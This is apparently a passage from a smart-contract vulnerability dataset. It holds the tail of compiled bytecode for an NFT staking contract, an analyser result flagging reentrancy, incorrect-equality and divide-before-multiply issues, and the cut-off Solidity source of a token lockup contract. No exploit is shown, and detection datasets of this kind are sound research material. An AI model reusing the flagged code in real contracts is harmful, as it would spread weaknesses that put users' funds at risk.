0815260200160002060010154611c1d9190614202565b11158015611c9b57508160600151600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000878481518110611c7f57611c7e614461565b5b6020026020010151815260200190815260200160002060020154105b15611d63576000600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000878481518110611cf657611cf5614461565b5b602002602001015181526020019081526020016000209050600080611d2983600101548787608001518860400151611222565b915091508187611d399190614202565b965085836001018190555080836002016000828254611d589190614202565b925050819055505050505b8080611d6e9061438b565b915050611b96565b50611d813384612858565b611dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db790613f29565b60405180910390fd5b5050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff169050919050565b611e286123f9565b73ffffffffffffffffffffffffffffffffffffffff16611e46612023565b73ffffffffffffffffffffffffffffffffffffffff1614611e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9390613fe9565b60405180910390fd5b611ea66000612a61565b565b611eb06123f9565b73ffffffffffffffffffffffffffffffffffffffff16611ece612023565b73ffffffffffffffffffffffffffffffffffffffff1614611f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1b90613fe9565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff02191690831515021790555050565b611f8b82611dc7565b611fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc190614089565b60405180910390fd5b611fd5823383612b25565b612014576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200b90613e89565b60405180910390fd5b61201f823383612d8d565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6120546123f9565b73ffffffffffffffffffffffffffffffffffffffff16612072612023565b73ffffffffffffffffffffffffffffffffffffffff16146120c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bf90613fe9565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050180548060200260200160405190810160405280929190818152602001828054801561218c57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612142575b5050505050905060005b81518110156122fc576000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008484815181106121f5576121f4614461565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561228157602002820191906000526020600020905b81548152602001906001019080831161226d575b5050505050905060005b81518110156122e7576122d3858585815181106122ab576122aa614461565b5b60200260200101518484815181106122c6576122c5614461565b5b602002602001015161260c565b5080806122df9061438b565b91505061228b565b505080806122f49061438b565b915050612196565b505050565b6123096123f9565b73ffffffffffffffffffffffffffffffffffffffff16612327612023565b73ffffffffffffffffffffffffffffffffffffffff161461237d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237490613fe9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156123ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e490613f09565b60405180910390fd5b6123f681612a61565b50565b600033905090565b6000808214156124145760019050612606565b600354826124229190614289565b915081600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e85306040518363ffffffff1660e01b8152600401612482929190613d46565b60206040518083038186803b15801561249a57600080fd5b505afa1580156124ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124d29190613768565b1015612513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250a90613e69565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379cc679084846040518363ffffffff1660e01b8152600401612570929190613da6565b602060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125c2919061373b565b612601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f890613f49565b60405180910390fd5b600190505b92915050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b815260040161265e9190614104565b60206040518083038186803b15801561267657600080fd5b505afa15801561268a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126ae9190613538565b73ffffffffffffffffffffffffffffffffffffffff1614612704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fb90614069565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff166342842e0e3085856040518463ffffffff1660e01b815260040161274193929190613d6f565b600060405180830381600087803b15801561275b57600080fd5b505af115801561276f573d6000803e3d6000fd5b50505050600190509392505050565b61278983838361301f565b612793838361319b565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020905060008160040160006101000a81548160ff02191690831515021790555060008160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000816001018190555050505050565b60008082141561286b5760019050612a5b565b600354826128799190614289565b915081600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016128d79190613d2b565b60206040518083038186803b1580156128ef57600080fd5b505afa158015612903573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129279190613768565b1015612968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295f90614009565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b81526004016129c5929190613da6565b602060405180830381600087803b1580156129df57600080fd5b505af11580156129f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a17919061373b565b612a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4d90614049565b60405180910390fd5b600190505b92915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b8152600401612b779190614104565b60206040518083038186803b158015612b8f57600080fd5b505afa158015612ba3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bc79190613538565b73ffffffffffffffffffffffffffffffffffffffff1614612c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c14906140c9565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1663081812fc846040518263ffffffff1660e01b8152600401612c6d9190614104565b60206040518083038186803b158015612c8557600080fd5b505afa158015612c99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cbd9190613538565b73ffffffffffffffffffffffffffffffffffffffff1614612d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d0a906140a9565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff166342842e0e8430856040518463ffffffff1660e01b8152600401612d5093929190613d6f565b600060405180830381600087803b158015612d6a57600080fd5b505af1158015612d7e573d6000803e3d6000fd5b50505050600190509392505050565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000209050600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015481600201541115612e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6190613ee9565b60405180910390fd5b60018160040160006101000a81548160ff021916908315150217905550828160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550428160010181905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020829080600181540180825580915050600190039060005260206000200160009091909190915055600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000805b82805490508110156130ef57838382815481106130c3576130c2614461565b5b906000526020600020015414156130dc578091506130ef565b80806130e79061438b565b9150506130a3565b5060008190505b6001838054905061310791906142e3565b81101561316c578260018261311c9190614202565b8154811061312d5761312c614461565b5b906000526020600020015483828154811061314b5761314a614461565b5b906000526020600020018190555080806131649061438b565b9150506130f6565b508180548061317e5761317d614432565b5b600190038181906000526020600020016000905590555050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050190506000805b828054905081101561327d578373ffffffffffffffffffffffffffffffffffffffff1683828154811061321b5761321a614461565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561326a5780915061327d565b80806132759061438b565b9150506131e5565b506001828054905061328f91906142e3565b8114156132e157818054806132a7576132a6614432565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556133ff565b60008190505b600183805490506132f891906142e3565b8110156133b7578260018261330d9190614202565b8154811061331e5761331d614461565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683828154811061335c5761335b614461565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080806133af9061438b565b9150506132e7565b50818054806133c9576133c8614432565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590555b50505050565b6040518060a00160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160008152602001600081526020016000151581525090565b60008135905061345b81614afe565b92915050565b60008151905061347081614afe565b92915050565b60008151905061348581614b15565b92915050565b60008083601f8401126134a1576134a0614495565b5b8235905067ffffffffffffffff8111156134be576134bd614490565b5b6020830191508360018202830111156134da576134d961449a565b5b9250929050565b6000813590506134f081614b2c565b92915050565b60008151905061350581614b2c565b92915050565b600060208284031215613521576135206144a4565b5b600061352f8482850161344c565b91505092915050565b60006020828403121561354e5761354d6144a4565b5b600061355c84828501613461565b91505092915050565b6000806040838503121561357c5761357b6144a4565b5b600061358a8582860161344c565b925050602061359b8582860161344c565b9150509250929050565b6000806000806000608086880312156135c1576135c06144a4565b5b60006135cf8882890161344c565b95505060206135e08882890161344c565b94505060406135f1888289016134e1565b935050606086013567ffffffffffffffff8111156136125761361161449f565b5b61361e8882890161348b565b92509250509295509295909350565b60008060408385031215613644576136436144a4565b5b60006136528582860161344c565b9250506020613663858286016134e1565b9150509250929050565b600080600060608486031215613686576136856144a4565b5b60006136948682870161344c565b93505060206136a5868287016134e1565b92505060406136b6868287016134e1565b9150509250925092565b600080600080600060a086880312156136dc576136db6144a4565b5b60006136ea8882890161344c565b95505060206136fb888289016134e1565b945050604061370c888289016134e1565b935050606061371d888289016134e1565b925050608061372e888289016134e1565b9150509295509295909350565b600060208284031215613751576137506144a4565b5b600061375f84828501613476565b91505092915050565b60006020828403121561377e5761377d6144a4565b5b600061378c848285016134f6565b91505092915050565b600080604083850312156137ac576137ab6144a4565b5b60006137ba858286016134e1565b92505060206137cb858286016134e1565b9150509250929050565b6000806000606084860312156137ee576137ed6144a4565b5b60006137fc868287016134e1565b935050602061380d868287016134e1565b925050604061381e868287016134e1565b9150509250925092565b60008060008060808587031215613842576138416144a4565b5b6000613850878288016134e1565b9450506020613861878288016134e1565b9350506040613872878288016134e1565b9250506060613883878288016134e1565b91505092959194509250565b600061389b83836138bf565b60208301905092915050565b60006138b38383613d0d565b60208301905092915050565b6138c881614317565b82525050565b6138d781614317565b82525050565b60006138e88261419f565b6138f281856141cf565b93506138fd8361417f565b8060005b8381101561392e578151613915888261388f565b9750613920836141b5565b925050600181019050613901565b5085935050505092915050565b6000613946826141aa565b61395081856141e0565b935061395b8361418f565b8060005b8381101561398c57815161397388826138a7565b975061397e836141c2565b92505060018101905061395f565b5085935050505092915050565b6139a281614329565b82525050565b6139b181614329565b82525050565b6139c081614335565b82525050565b60006139d36049836141f1565b91506139de826144a9565b606082019050919050565b60006139f66024836141f1565b9150613a018261451e565b604082019050919050565b6000613a196029836141f1565b9150613a248261456d565b604082019050919050565b6000613a3c6020836141f1565b9150613a47826145bc565b602082019050919050565b6000613a5f602d836141f1565b9150613a6a826145e5565b604082019050919050565b6000613a82602f836141f1565b9150613a8d82614634565b604082019050919050565b6000613aa56026836141f1565b9150613ab082614683565b604082019050919050565b6000613ac86029836141f1565b9150613ad3826146d2565b604082019050919050565b6000613aeb6021836141f1565b9150613af682614721565b604082019050919050565b6000613b0e6036836141f1565b9150613b1982614770565b604082019050919050565b6000613b316046836141f1565b9150613b3c826147bf565b606082019050919050565b6000613b54601b836141f1565b9150613b5f82614834565b602082019050919050565b6000613b776025836141f1565b9150613b828261485d565b604082019050919050565b6000613b9a6020836141f1565b9150613ba5826148ac565b602082019050919050565b6000613bbd6021836141f1565b9150613bc8826148d5565b604082019050919050565b6000613be06030836141f1565b9150613beb82614924565b604082019050919050565b6000613c036026836141f1565b9150613c0e82614973565b604082019050919050565b6000613c266026836141f1565b9150613c31826149c2565b604082019050919050565b6000613c496033836141f1565b9150613c5482614a11565b604082019050919050565b6000613c6c6036836141f1565b9150613c7782614a60565b604082019050919050565b6000613c8f6036836141f1565b9150613c9a82614aaf565b604082019050919050565b60a082016000820151613cbb60008501826138bf565b506020820151613cce6020850182613d0d565b506040820151613ce16040850182613d0d565b506060820151613cf46060850182613d0d565b506080820151613d076080850182613999565b50505050565b613d1681614381565b82525050565b613d2581614381565b82525050565b6000602082019050613d4060008301846138ce565b92915050565b6000604082019050613d5b60008301856138ce565b613d6860208301846138ce565b9392505050565b6000606082019050613d8460008301866138ce565b613d9160208301856138ce565b613d9e6040830184613d1c565b949350505050565b6000604082019050613dbb60008301856138ce565b613dc86020830184613d1c565b9392505050565b60006020820190508181036000830152613de981846138dd565b905092915050565b60006020820190508181036000830152613e0b818461393b565b905092915050565b6000602082019050613e2860008301846139a8565b92915050565b6000602082019050613e4360008301846139b7565b92915050565b60006020820190508181036000830152613e62816139c6565b9050919050565b60006020820190508181036000830152613e82816139e9565b9050919050565b60006020820190508181036000830152613ea281613a0c565b9050919050565b60006020820190508181036000830152613ec281613a2f565b9050919050565b60006020820190508181036000830152613ee281613a52565b9050919050565b60006020820190508181036000830152613f0281613a75565b9050919050565b60006020820190508181036000830152613f2281613a98565b9050919050565b60006020820190508181036000830152613f4281613abb565b9050919050565b60006020820190508181036000830152613f6281613ade565b9050919050565b60006020820190508181036000830152613f8281613b01565b9050919050565b60006020820190508181036000830152613fa281613b24565b9050919050565b60006020820190508181036000830152613fc281613b47565b9050919050565b60006020820190508181036000830152613fe281613b6a565b9050919050565b6000602082019050818103600083015261400281613b8d565b9050919050565b6000602082019050818103600083015261402281613bb0565b9050919050565b6000602082019050818103600083015261404281613bd3565b9050919050565b6000602082019050818103600083015261406281613bf6565b9050919050565b6000602082019050818103600083015261408281613c19565b9050919050565b600060208201905081810360008301526140a281613c3c565b9050919050565b600060208201905081810360008301526140c281613c5f565b9050919050565b600060208201905081810360008301526140e281613c82565b9050919050565b600060a0820190506140fe6000830184613ca5565b92915050565b60006020820190506141196000830184613d1c565b92915050565b60006040820190506141346000830185613d1c565b6141416020830184613d1c565b9392505050565b600060608201905061415d6000830186613d1c565b61416a6020830185613d1c565b6141776040830184613d1c565b949350505050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600061420d82614381565b915061421883614381565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561424d5761424c6143d4565b5b828201905092915050565b600061426382614381565b915061426e83614381565b92508261427e5761427d614403565b5b828204905092915050565b600061429482614381565b915061429f83614381565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156142d8576142d76143d4565b5b828202905092915050565b60006142ee82614381565b91506142f983614381565b92508282101561430c5761430b6143d4565b5b828203905092915050565b600061432282614361565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061439682614381565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143c9576143c86143d4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b7f4477656c6c6572735374616b696e673a2063616e6e6f7420756e7374616b652060008201527f616e204e4654207468617420646f6573206e6f742062656c6f6e6720746f207460208201527f68652073656e6465720000000000000000000000000000000000000000000000604082015250565b7f4477656c6c6572735374616b696e673a204e65656420746f20617070726f766560008201527f2045585000000000000000000000000000000000000000000000000000000000602082015250565b7f4477656c6c6572735374616b696e673a20556e61626c6520746f207374616b6560008201527f2074686973204e46540000000000000000000000000000000000000000000000602082015250565b7f54686973204e465420686173206e6f74206265656e206d696e74656420796574600082015250565b7f4477656c6c6572735374616b696e673a204e65656420746f207370656e64204560008201527f585020746f207570677261646500000000000000000000000000000000000000602082015250565b7f4477656c6c6572735374616b696e673a2043616e6e6f74207374616b65206d6f60008201527f7265207468616e20322079656172730000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4477656c6c6572735374616b696e673a20556e61626c6520746f20726577617260008201527f64207374616b696e670000000000000000000000000000000000000000000000602082015250565b7f4477656c6c6572735374616b696e673a204e65656420746f204255524e20455860008201527f5000000000000000000000000000000000000000000000000000000000000000602082015250565b7f4477656c6c6572735374616b696e673a206f6e6c7920746865206f776e65722060008201527f6f6620746865204e46542063616e207570677261646500000000000000000000602082015250565b7f4477656c6c6572735374616b696e673a206e65656420746f207061792033332560008201527f206f6620616363756d6c6174656420746f6b656e7320746f20756e7374616b6560208201527f206561726c790000000000000000000000000000000000000000000000000000604082015250565b7f556e61626c6520746f2073656e6420746865204e4654206261636b0000000000600082015250565b7f43616e6e6f7420757067726164652030206c6576656c732c20696e637265617360008201527f6520455850000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4477656c6c6572735374616b696e673a204e6f7420656e6f7567682066756e6460008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f4477656c6c6572735374616b696e673a20596f7520646f206e6f74206861766560008201527f20616e79207374616b6564204e46547300000000000000000000000000000000602082015250565b7f4477656c6c6572735374616b696e673a2043616e6e6f74207472616e7366657260008201527f2066756e64730000000000000000000000000000000000000000000000000000602082015250565b7f4477656c6c6572735374616b696e673a20646f6573204e4f54206f776e20746860008201527f6973204e46540000000000000000000000000000000000000000000000000000602082015250565b7f4477656c6c6572735374616b696e673a2054686973204e465420636f6e74726160008201527f6374206973206e6f7420737570706f7274656400000000000000000000000000602082015250565b7f4477656c6c6572735374616b696e673a204d75737420617070726f766520426160008201527f73656d656e745374616b696e6720746f207374616b6500000000000000000000602082015250565b7f4477656c6c6572735374616b696e673a204d75737420626520746865206f776e60008201527f6572206f6620746865204e465420746f207374616b6500000000000000000000602082015250565b614b0781614317565b8114614b1257600080fd5b50565b614b1e81614329565b8114614b2957600080fd5b50565b614b3581614381565b8114614b4057600080fd5b5056fea264697066735822122097c24518467882fc7be3ad70a4cf8e3a458548f542ef29b71030d21ecb24e8f064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,152 |
0xbc962d7be33d8afb4a547936d8ce6b9a1034e9ee
|
//"SPDX-License-Identifier: UNLICENSED"
pragma solidity ^0.6.6;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Multiplier{
//instantiating SafeMath library
using SafeMath for uint;
//instance of utility token
IERC20 private _token;
//struct
struct User {
uint balance;
uint release;
address approved;
}
//address to User mapping
mapping(address => User) private _users;
//multiplier constance for multiplying rewards
uint private constant _MULTIPLIER_CEILING = 2;
//events
event Deposited(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount, uint time);
event NewLockup(address indexed poolstake, address indexed user, uint lockup);
event ContractApproved(address indexed user, address contractAddress);
/*
* @dev instantiate the multiplier.
* --------------------------------
* @param token--> the token that will be locked up.
*/
constructor(address token) public {
require(token != address(0), "token must not be the zero address");
_token = IERC20(token);
}
/*
* @dev top up the available balance.
* --------------------------------
* @param _amount --> the amount to lock up.
* -------------------------------
* returns whether successfully topped up or not.
*/
function deposit(uint _amount) external returns(bool) {
require(_amount > 0, "amount must be larger than zero");
require(_token.transferFrom(msg.sender, address(this), _amount), "amount must be approved");
_users[msg.sender].balance = balance(msg.sender).add(_amount);
emit Deposited(msg.sender, _amount);
return true;
}
/*
* @dev approve a contract to use Multiplier
* -------------------------------------------
* @param _traditional --> the contract address to approve
* -------------------------------------------------------
* returns whether successfully approved or not
*/
function approveContract(address _traditional) external returns(bool) {
require(_users[msg.sender].approved != _traditional, "already approved");
require(Address.isContract(_traditional), "can only approve a contract");
_users[msg.sender].approved = _traditional;
emit ContractApproved(msg.sender, _traditional);
return true;
}
/*
* @dev withdraw released multiplier balance.
* ----------------------------------------
* @param _amount --> the amount to be withdrawn.
* -------------------------------------------
* returns whether successfully withdrawn or not.
*/
function withdraw(uint _amount) external returns(bool) {
require(now >= _users[msg.sender].release, "must wait for release");
require(_amount > 0, "amount must be larger than zero");
require(balance(msg.sender) >= _amount, "must have a sufficient balance");
_users[msg.sender].balance = balance(msg.sender).sub(_amount);
require(_token.transfer(msg.sender, _amount), "token transfer failed");
emit Withdrawn(msg.sender, _amount, now);
return true;
}
/*
* @dev updates the lockup period (called by pool contract)
* ----------------------------------------------------------
* IMPORTANT - can only be used to increase lockup
* -----------------------------------------------
* @param _lockup --> the vesting period
* -------------------------------------------
* returns whether successfully withdrawn or not.
*/
function updateLockupPeriod(address _user, uint _lockup) external returns(bool) {
require(Address.isContract(msg.sender), "only a smart contract can call");
require(_users[_user].approved == msg.sender, "contract is not approved");
require(now.add(_lockup) > _users[_user].release, "cannot reduce current lockup");
_users[_user].release = now.add(_lockup);
emit NewLockup(msg.sender, _user, _lockup);
return true;
}
/*
* @dev get the multiplier ceiling for percentage calculations.
* ----------------------------------------------------------
* returns the multiplication factor.
*/
function getMultiplierCeiling() external pure returns(uint) {
return _MULTIPLIER_CEILING;
}
/*
* @dev get the multiplier user balance.
* -----------------------------------
* @param _user --> the address of the user.
* ---------------------------------------
